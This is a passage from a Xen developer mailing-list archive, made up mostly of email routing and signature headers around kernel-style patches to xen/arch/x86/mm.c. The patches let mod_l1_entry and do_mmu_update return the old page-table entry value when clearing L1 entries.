	GfNxjlXr7UUWS7Flvp2uuG4qBPejGw5t2SI5Uw9Kw398FjGQ0P2r1XR104oL8rVi4ACXvcotOF8R2+cIR7kwN/n1bF3VBFlcpjg/kcsrw3vkuiY+hlDlrEFUnfxLbgizSXmKb2BeCJwinq7ttSHYMAqZfMSl2Eylg7LFI6IZqV4bvZUrOenk1C2l1B/F5/91KVH5pzOgShxTSMLyDcX3NY+S2CgFzydX52nyNN0okYECoVlNVLxNHcuaFBzzNKqvWxLaXh1XQHRWRZG1yD9dZrmULLklLHyNhLd3s/S/G1a8jGx4ijnr/QroQ5CMpOGsxuQJuDEw9gaUGan386DH9xxytUr+9AIjBA8HkmmCbOY4TMautjRGL2sNpGcYquv/sCxuY79ivEM9vYcZRClUYmWExhLHlzPjxAiOm15EnFUu0QvF9c/9q6/mAJ0aShkTJNkM16jEDYJ6hAVINBEG+4wXrxmplPDuRbDAkHy4FN35XgyLX3VcK97BwbGtCqRxd6Ma47aQF8tR8l4rgoDt2qoEYYzgh86n9QzQgDlwQgSYnXIJ4xwSzn/nrHWQKKMyIOfStk4JHRq/3vLcHfO+N7boIyO18oJqVfy6vx/1EKomOrrljKVvRABoUx8fN4SFkG+4nvfp54iO/zRI+ktP3R7UeSP0Eov+wnPKH3BEH+U=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:BY1PR03MB7996.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(22082099003)(18002099003)(10067099003)(11063799006)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?PQ6dgHjP47WlggWCt5wAr6Jklk00g045J1rdnSfgOgr4zbn8XeQ7ig+4RIvw?=
 =?us-ascii?Q?YLbHoI4b+RxGTf4P1xHUe60XgZr7Enn5mJP/OYt5bSzst0bCEIALOec6LFP2?=
 =?us-ascii?Q?1K6ewr+jsVa+LaqITqZ/1MPuv5QumI4wmvWcK/NEtTofmqFW6n1yroAmMxqW?=
 =?us-ascii?Q?TOn715aXMXAn3WtL7d7v4i65eId7k9SfJfBp71ED0W2e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=?us-ascii?Q?5dw297+xHbC2Zf9U4ORd693+XPMiPDlHAapa/0zz2G9l/m2d2+YD1K5KjasU?=
 =?us-ascii?Q?VFVEQ5/o/wzDsUIWUfr6vzuqVb+3GhqKbD19kmv8YhVA/PpkbndHOrK151Nb?=
 =?us-ascii?Q?pu2Iv1YGsAbQYxaLXxmneIY7B8lXsDZIAjKMMpqovg7eGl3FGxIAidkLIw7b?=
 =?us-ascii?Q?5h9Pa4fMoCRKdc4L13VMHkgwfbuX6d75UX9k6Gtvh9zEqmw3ccIxjkb4rU/i?=
 =?us-ascii?Q?MKv40yUnMjtWt80UF/o5K4rkQHJf+p1BAoIJbuZ76bI0qW37BTg4rv3PwrPS?=
 =?us-ascii?Q?Kr4tw1/DUrUZHiBQVTWiiHcKLTIYg4zUndtMxgz3QaBWFIUJZIKaGLx5iOI2?=
 =?us-ascii?Q?rfJ7SuRcW41rITnb1Z3Er6NgfGqcTTNelnaAtA4qvzBogu1eYSq0Hdom9vw2?=
 =?us-ascii?Q?QLUF7X0uYgG6Bk5VG/l5KcXrvYK+Zt1RIJrXBmDMuqGC45ICjTpx1QSVuXa0?=
 =?us-ascii?Q?ShkSqCruYtAWcheGI/l5qJ1FoV6+MHrOgRL/Lcdrwhpv2eVETWSxosZ8RRmP?=
 =?us-ascii?Q?+vEqhQD/gini20XM/39hTK1VGRfa2jH+np3BoLd0Ia9YKEROGkSFlF5/c9pW?=
 =?us-ascii?Q?EQMIx+ioobz312j1H7mIr6UM2wLgk+/IdLS4fIXxKINjlGagXd+phVGdRInF?=
 =?us-ascii?Q?lSwwppG9QA=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 8555dcac-cdd5-49fc-4d42-08deebf071db
X-MS-Exchange-CrossTenant-AuthSource: BY1PR03MB7996.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 15:05:06.8780
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: /IBSUzGntDQKMTrgIWXgGdZLFtPc/hcPmCsQdai0BVWJF3diy6WxjC76K7nL6+womCK/kQsrjnveZ0rbYrMVgw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SN7PR03MB7120
X-purgate-ID: tlsNG-d25034/1785164709-51737A5B-FE524C5F/0/0
X-purgate-type: clean
X-purgate-size: 3512

Calling mod_l1_entry() with a valid ol1e_out pointer will do an atomic xchg to
set the new pte value and return the old pte value through the ol1e_out
pointer. If the ol1e_out pointer is NULL then old behavior is preserved.

Signed-off-by: Kevin Lampis <kevin.lampis@citrix.com>
---
 xen/arch/x86/mm.c | 24 +++++++++++++++---------
 1 file changed, 15 insertions(+), 9 deletions(-)

diff --git a/xen/arch/x86/mm.c b/xen/arch/x86/mm.c
index bb4ba0afe2d4..500549c8e036 100644
--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -2151,7 +2151,8 @@ static void l3t_unlock(struct page_info *page)
 /* Update the L1 entry at pl1e to new value nl1e. */
 static int mod_l1_entry(l1_pgentry_t *pl1e, l1_pgentry_t nl1e,
                         mfn_t gl1mfn, unsigned int cmd,
-                        struct vcpu *pt_vcpu, struct domain *pg_dom)
+                        struct vcpu *pt_vcpu, struct domain *pg_dom,
+                        l1_pgentry_t *ol1e_out)
 {
     bool preserve_ad = (cmd == MMU_PT_UPDATE_PRESERVE_AD);
     l1_pgentry_t ol1e = l1e_read(pl1e);
@@ -2213,8 +2214,8 @@ static int mod_l1_entry(l1_pgentry_t *pl1e, l1_pgentry_t nl1e,
         /* Fast path for sufficiently-similar mappings. */
         if ( !l1e_has_changed(ol1e, nl1e, ~FASTPATH_FLAG_WHITELIST) )
         {
-            rc = UPDATE_ENTRY(l1, pl1e, ol1e, nl1e, gl1mfn, pt_vcpu,
-                              preserve_ad);
+            rc = update_intpte(&pl1e->l1, &ol1e.l1, nl1e.l1, gl1mfn, pt_vcpu,
+                               preserve_ad, !!ol1e_out);
             if ( page )
                 put_page(page);
             return rc ? 0 : -EBUSY;
@@ -2237,8 +2238,8 @@ static int mod_l1_entry(l1_pgentry_t *pl1e, l1_pgentry_t nl1e,
         if ( page )
             put_page(page);
 
-        if ( unlikely(!UPDATE_ENTRY(l1, pl1e, ol1e, nl1e, gl1mfn, pt_vcpu,
-                                    preserve_ad)) )
+        if ( unlikely(!update_intpte(&pl1e->l1, &ol1e.l1, nl1e.l1, gl1mfn,
+                                     pt_vcpu, preserve_ad, !!ol1e_out)) )
         {
             ol1e = nl1e;
             rc = -EBUSY;
@@ -2246,13 +2247,17 @@ static int mod_l1_entry(l1_pgentry_t *pl1e, l1_pgentry_t nl1e,
     }
     else if ( pv_l1tf_check_l1e(pt_dom, nl1e) )
         return -ERESTART;
-    else if ( unlikely(!UPDATE_ENTRY(l1, pl1e, ol1e, nl1e, gl1mfn, pt_vcpu,
-                                     preserve_ad)) )
+    else if ( unlikely(!update_intpte(&pl1e->l1, &ol1e.l1, nl1e.l1, gl1mfn,
+                                      pt_vcpu, preserve_ad, !!ol1e_out)) )
     {
         return -EBUSY;
     }
 
     put_page_from_l1e(ol1e, pt_dom);
+
+    if ( !rc && ol1e_out )
+        *ol1e_out = ol1e;
+
     return rc;
 }
 
@@ -4140,7 +4145,7 @@ long do_mmu_update(
                 {
                 case PGT_l1_page_table:
                     rc = mod_l1_entry(va, l1e_from_intpte(req.val), mfn,
-                                      cmd, v, pg_owner);
+                                      cmd, v, pg_owner, NULL);
                     break;
 
                 case PGT_l2_page_table:
@@ -4505,7 +4510,8 @@ static int __do_update_va_mapping(
         goto out;
     }
 
-    rc = mod_l1_entry(pl1e, val, gl1mfn, MMU_NORMAL_PT_UPDATE, v, pg_owner);
+    rc = mod_l1_entry(pl1e, val, gl1mfn, MMU_NORMAL_PT_UPDATE, v, pg_owner,
+                      NULL);
 
     page_unlock(gl1pg);
     put_page(gl1pg);
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:05:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:05:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371724.1619217 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtK-0004J8-WD; Mon, 27 Jul 2026 15:05:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371724.1619217; Mon, 27 Jul 2026 15:05:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtK-0004J1-Sk; Mon, 27 Jul 2026 15:05:18 +0000
Received: by outflank-mailman (input) for mailman id 1371724;
 Mon, 27 Jul 2026 15:05:17 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kevin.lampis@citrix.com>) id 1woMtJ-0004GB-3D
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:05:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woMtI-008bcG-GJ
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:05:16 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773a7-2eae-0a2a0a5409dd-0a2a45068392-24
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:16 +0200
Received: from [40.107.208.39]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773aa-195a-0a2a45060019-286bd027246f-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:15 +0200
Received: from BY1PR03MB7996.namprd03.prod.outlook.com (2603:10b6:a03:5b2::8)
 by SA3PR03MB8182.namprd03.prod.outlook.com (2603:10b6:806:465::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Mon, 27 Jul
 2026 15:05:12 +0000
Received: from BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07]) by BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07%3]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 15:05:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=JWcMQ3ykFM9xof0UWt7anfKXNQuKG9b7XTca5CaFjffp/OcKEkkDkA7nZIH3BMW7KqsBcqNI/GcFQInhLlLj02p4DuRUgajp2qdOe3Mip83+5quG4DGon28QEqItpwwCS7mOQk//wpRpDy5ebc1x+ztTLzbgF+xzSA39++DRmiDgzhyP4cW1G9dFm3FRdz9lcO+Y44i2BtZRekvuEILTHcz05CoiuSxBaQ4iLs4iDF5Wmsc80Fz4A/7F8k5rcCVPNwz5+ipY6oNbeMN+9m+1rEkDS3xHclDz4sN/0Zmr2le1ZyO2hJ50tT/VxIQiCAwbTIGptydA8h+i2C9WizOjVw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=srJPZVfKyCLc9jNc72RgnPcAtxJpFYEiKTbfZigXhyU=;
 b=AWfwf0VC+jJcxruADW6rJU+LtyAW7vNYwXb+gsBs9DqU2Vkpstc2uQR8lwunCdERaJLZ9gNx3Gdo5E3aW0Nq5KAGW7poqi5x2iUahcK4LSiGwkttZo20oDCyC21VdCpBa+W4y3z8/eW+hobgQ3Emy7t54+V/iPTE61tvKWjNKnSHmCWVfZ1s+2MgER1BmMIDYPRG8S7LLvH7zhtdYe6BwbmoXCLmzTdGvsK40lUswlVBZX/rMSPXJ0UAvEeIWv6SyoJczd04VpvK1SKGC1INVn/hyt/ov7KBhAtb9qWXH5S8z8TnS+jXFwk5ebnAcnSmCtZ3ZLA6wWfOEcsx5Sm13Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=srJPZVfKyCLc9jNc72RgnPcAtxJpFYEiKTbfZigXhyU=;
 b=xCMdwgknE5+30ehzknbRtBzmRpYVpEd0OhpzwfVGTWWd7rQ3b6/aXUjSC70D0p+flSazGxzVvkNjudk1DAZ+quMs0vYrT4ZiUOnSO5Ag9dwBIEXjqbNsYlfZCmCYN82oYQlM+jr8qkPf9DOjjLaH1krjNyV2/apowsChBEig5XA=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Kevin Lampis <kevin.lampis@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	Kevin Lampis <kevin.lampis@citrix.com>
Subject: [PATCH 3/4] x86: extend do_mmu_update() to support returning the old PTE value
Date: Mon, 27 Jul 2026 16:06:14 +0100
Message-ID: <20260727150615.1373200-4-kevin.lampis@citrix.com>
X-Mailer: git-send-email 2.52.0
In-Reply-To: <20260727150615.1373200-1-kevin.lampis@citrix.com>
References: <20260727150615.1373200-1-kevin.lampis@citrix.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: LO4P123CA0470.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:1a8::7) To BY1PR03MB7996.namprd03.prod.outlook.com
 (2603:10b6:a03:5b2::8)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BY1PR03MB7996:EE_|SA3PR03MB8182:EE_
X-MS-Office365-Filtering-Correlation-Id: b62bd515-cbd6-47b4-959e-08deebf0751e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|366016|376014|18002099003|56012099006|11063799006|22082099003|10067099003;
X-Microsoft-Antispam-Message-Info:
	PwWkAVObzw1bf6HxQ6XrXvXyU2p6FCHRPzzODmHsnGtmgwNfzMFPYIBFvuRtD2oNL6Aj3Y7mShJKpyHzleidZuz8dPFcZbCE4uYssiu40gCD8af4dwfjj0De6J8NDO47k0ERSTDJrtPqi4WC7sqOjgg5G2r/bCH1PyhHqUPdToo2Q2350zeJzhGEeeKN+FzlcIACX5H8NcM1JLCZ0z1x9Wj7xOyxa2+e3xueAIM92PxQm1J1sST2rLnX++ceF1SK5KjMuXmdGPSpNYi1RDjHybgUSKZAGLSQgk4Vs2Bsp083cRCD0Yzxoa8+81jDOZNgw3exG9A8Dh4LqkVUMo8XqaHx43oBHkpyENOD4uWlo4uonCSt91FM4yf4enTjVX4OEfHr0iGjzuszuB+3xwJ105EN3ELWNbxXaYTSAM6xLyfNEX4UiJLuULL2g0NNLugW2xamb8WlcG2z3LWTxEnxpfDqgtiZnC45Nnzb79jz3UnMW0AHOY3xFn7PsquYGUPzDMuzFVHpHNAp0VH4VLCMnApB0zzc58GS0sj4g9wM0rK1MY3mSn0Ufwe3DkzKu+SqWvf8h7JtFX4eNnzaKA4RMglMmKxdoiolm4HwdqBum1bi4NAjrWG8iQCeWGQdbswXUPFB29/7SuqneVcQgyLGYWDlLWxBMjtk3xEj/tc0jBU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:BY1PR03MB7996.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(366016)(376014)(18002099003)(56012099006)(11063799006)(22082099003)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?E8hN9BTCtNKllX1wrEPea5yMeixEfw6RsabQwKkYy0ymqi5kXFBe7s7685R0?=
 =?us-ascii?Q?Vxl1a7otfdwVtpfl+O1WZJH26sNO7LAmpR26CquJf5GpNr3lUdyvllMFeVHO?=
 =?us-ascii?Q?LeFrdJiropQb6UTTCd3wxvodBJzSdqMHECaUzCGAdOGFbwyJWrnI5rR//ZxJ?=
 =?us-ascii?Q?+8rwbrp7zfH4q+fPU/MrsM7Z6/5VamZtLx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ftu7AbH5mqibO+m?=
 =?us-ascii?Q?W2pomkmlZR3CQCVhdiTiFU4obV9/vRmyA5zyj7PEzE7mDY5cmikGjUCDnqhy?=
 =?us-ascii?Q?rkwQrIoxTERiWpAUgy3QGGeUCI9A+8ulunGfhpWCOLV6elK+hbCyv4kMR594?=
 =?us-ascii?Q?XPemxViZitk54iFLrEjA4ZuCZsFOqHajtGisHwPhmc/q9JRFE4v9qFmMU/r1?=
 =?us-ascii?Q?sDMko2gdJSWQPgF3PsV2mf9toOUIZUhMxKtCTt3zcOpE7CbA2t0EIW3izSTA?=
 =?us-ascii?Q?tzYQydIDqK2VMXBTxH7uJv8MvnGbzwspQn0PtOxbOIGWf1NHOUqZZXZU25Ec?=
 =?us-ascii?Q?tNh0OiYmORhWti6ZUFywcx7+W5WeepafENwU/JweKGM12V6SCG0rZfNDfPeF?=
 =?us-ascii?Q?TvqxoSaBLNQCJuGn6cxEWz2M5ziu14n0RPdGBpoTe0OWQO9uNmHi1O0LAHmY?=
 =?us-ascii?Q?WgrjiKuVFNCjBz1CI6AmMHxYpdQTpEjoIjbOeeHERa7aq6hrm26u/mp8kOLd?=
 =?us-ascii?Q?8vsBy0BNPIaehk8GQvukN9z6t452jdCEYGMOL6dGXMXIq7shLwk/B7Lg+pjw?=
 =?us-ascii?Q?KSwfFgyplposNlNuxjxaLK7L6AZXpo1bOHpiQTUvqeDs//g5cNCifWofYZ7B?=
 =?us-ascii?Q?jwOPq1SnaDq1EqDboRHVjui4JQwAKyboJpgJo7KLQAu12zxpVey1aV17MPwI?=
 =?us-ascii?Q?H0hlWAy0yQ=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b62bd515-cbd6-47b4-959e-08deebf0751e
X-MS-Exchange-CrossTenant-AuthSource: BY1PR03MB7996.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 15:05:12.3559
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: e+tc0ShppoZdiQzkvMQAOf+x8AdqRmDhtuMR69GYGLw4NLiMLiPNjRUwfrOUVNaicUyG893hsie0DfOeTMwsLw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA3PR03MB8182
X-purgate-ID: tlsNG-16d1c6/1785164716-1FCCD77B-FFBA1D60/0/0
X-purgate-type: clean
X-purgate-size: 5251

A new parameter write_back_old when set will return the old PTE value.

- The new PTE value in req.val must be 0, this is for clearing only.

- The PRESERVE_AD flag is rejected with -EINVAL because preserving
  Accessed/Dirty bits into a zero'ed PTE doesn't make sense.

- Only l1 PTEs are supported because they are the most frequent and have the
  biggest performance impact.

- The old PTE value is passed back to the guest through the req.val field

If the write_back_old flag is not set then the old behavior is preserved
  do_mmu_update -> mod_l1_entry -> UPDATE_ENTRY -> paging_write_guest_entry

The new get_and_clear call chain looks like this
  do_mmu_update -> mod_l1_entry -> update_intpte -> paging_cmpxchg_guest_entry

Signed-off-by: Kevin Lampis <kevin.lampis@citrix.com>
---
 xen/arch/x86/mm.c | 62 ++++++++++++++++++++++++++++++++++++++++++++---
 1 file changed, 58 insertions(+), 4 deletions(-)

diff --git a/xen/arch/x86/mm.c b/xen/arch/x86/mm.c
index 500549c8e036..278b992aca5c 100644
--- a/xen/arch/x86/mm.c
+++ b/xen/arch/x86/mm.c
@@ -3988,11 +3988,12 @@ long do_mmuext_op(
     return rc;
 }
 
-long do_mmu_update(
+static long __do_mmu_update(
     XEN_GUEST_HANDLE_PARAM(mmu_update_t) ureqs,
     unsigned int count,
     XEN_GUEST_HANDLE_PARAM(uint) pdone,
-    unsigned int foreigndom)
+    unsigned int foreigndom,
+    bool write_back_old)
 {
     struct mmu_update req;
     void *va = NULL;
@@ -4144,13 +4145,41 @@ long do_mmu_update(
                 switch ( page->u.inuse.type_info & PGT_type_mask )
                 {
                 case PGT_l1_page_table:
-                    rc = mod_l1_entry(va, l1e_from_intpte(req.val), mfn,
-                                      cmd, v, pg_owner, NULL);
+                {
+                    if ( !write_back_old )
+                        rc = mod_l1_entry(va, l1e_from_intpte(req.val), mfn,
+                                          cmd, v, pg_owner, NULL);
+                    else
+                    {
+                        l1_pgentry_t ol1e;
+                        if ( unlikely(req.val != 0 ||
+                                      cmd == MMU_PT_UPDATE_PRESERVE_AD) )
+                        {
+                            rc = -EINVAL;
+                            break;
+                        }
+
+                        rc = mod_l1_entry(va, l1e_from_intpte(req.val), mfn,
+                                          cmd, v, pg_owner, &ol1e);
+
+                        if ( !rc )
+                        {
+                            req.val = ol1e.l1;
+                            if ( unlikely(copy_to_guest(ureqs, &req, 1)) )
+                                rc = -EFAULT;
+                        }
+                    }
                     break;
+                }
 
                 case PGT_l2_page_table:
                     if ( unlikely(pg_owner != pt_owner) )
                         break;
+                    if ( unlikely(write_back_old) )
+                    {
+                        rc = -EINVAL;
+                        break;
+                    }
                     rc = mod_l2_entry(va, l2e_from_intpte(req.val), mfn,
                                       cmd == MMU_PT_UPDATE_PRESERVE_AD, v);
                     if ( !rc )
@@ -4160,6 +4189,11 @@ long do_mmu_update(
                 case PGT_l3_page_table:
                     if ( unlikely(pg_owner != pt_owner) )
                         break;
+                    if ( unlikely(write_back_old) )
+                    {
+                        rc = -EINVAL;
+                        break;
+                    }
                     rc = mod_l3_entry(va, l3e_from_intpte(req.val), mfn,
                                       cmd == MMU_PT_UPDATE_PRESERVE_AD, v);
                     if ( !rc )
@@ -4169,6 +4203,11 @@ long do_mmu_update(
                 case PGT_l4_page_table:
                     if ( unlikely(pg_owner != pt_owner) )
                         break;
+                    if ( unlikely(write_back_old) )
+                    {
+                        rc = -EINVAL;
+                        break;
+                    }
                     rc = mod_l4_entry(va, l4e_from_intpte(req.val), mfn,
                                       cmd == MMU_PT_UPDATE_PRESERVE_AD, v);
                     if ( !rc )
@@ -4198,6 +4237,11 @@ long do_mmu_update(
                     break;
 
                 case PGT_writable_page:
+                    if ( unlikely(write_back_old) )
+                    {
+                        rc = -EINVAL;
+                        break;
+                    }
                     perfc_incr(writable_mmu_updates);
                     paging_write_guest_entry(v, va, req.val, mfn);
                     rc = 0;
@@ -4366,6 +4410,16 @@ long do_mmu_update(
 
     return rc;
 }
+
+long do_mmu_update(
+    XEN_GUEST_HANDLE_PARAM(mmu_update_t) ureqs,
+    unsigned int count,
+    XEN_GUEST_HANDLE_PARAM(uint) pdone,
+    unsigned int foreigndom)
+{
+    return __do_mmu_update(ureqs, count, pdone, foreigndom, false);
+}
+
 #endif /* CONFIG_PV */
 
 /*
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 15:05:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 15:05:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371726.1619226 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtT-0004iF-BN; Mon, 27 Jul 2026 15:05:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371726.1619226; Mon, 27 Jul 2026 15:05:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woMtT-0004i8-8G; Mon, 27 Jul 2026 15:05:27 +0000
Received: by outflank-mailman (input) for mailman id 1371726;
 Mon, 27 Jul 2026 15:05:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <kevin.lampis@citrix.com>) id 1woMtR-0004ej-5H
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 15:05:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woMtQ-0007gq-Hr
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:05:24 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773b1-bab6-0a2a0a5309dd-0a2a45099ac8-6
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:24 +0200
Received: from [52.101.48.8]
 (helo=MW6PR02CU001.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <kevin.lampis@citrix.com>)
 id 6a6773b1-be1a-0a2a45090019-34653008bc71-4
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 17:05:23 +0200
Received: from BY1PR03MB7996.namprd03.prod.outlook.com (2603:10b6:a03:5b2::8)
 by SA3PR03MB8182.namprd03.prod.outlook.com (2603:10b6:806:465::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Mon, 27 Jul
 2026 15:05:19 +0000
Received: from BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07]) by BY1PR03MB7996.namprd03.prod.outlook.com
 ([fe80::5068:e1b5:b478:8d07%3]) with mapi id 15.21.0245.012; Mon, 27 Jul 2026
 15:05:19 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=bagaMyk3/tc1uanchugvAElI5+0lYM2n/edTxQsDtAW0exAagpCWDRF9bwH85fTSBb/92uE8zTh+xiIrO+HCa4oQ1fGCSw682+ufakIsk64l+yGv86wF/6T9ZLj0dQtp43uPBzci13l1FjRTTAKXlcNBeM3gzfUkQqj2pQ38Foippqtv0ufeG9EF3B14mP8jQoGZzsiQNaJ23xOg6AD8+ZsSQy0MnOXcUzAfUpFDZDDbHlsisV1gp7MZMuxa1G1gFeZf9ZQ3LDI9zdAXrwoRuG/0dFDd9FvEcSUKvDCklJfAYcnaPDlrAtPbLBw6Gh9qJMGjk4pq90lcOPBSFQMPUQ==
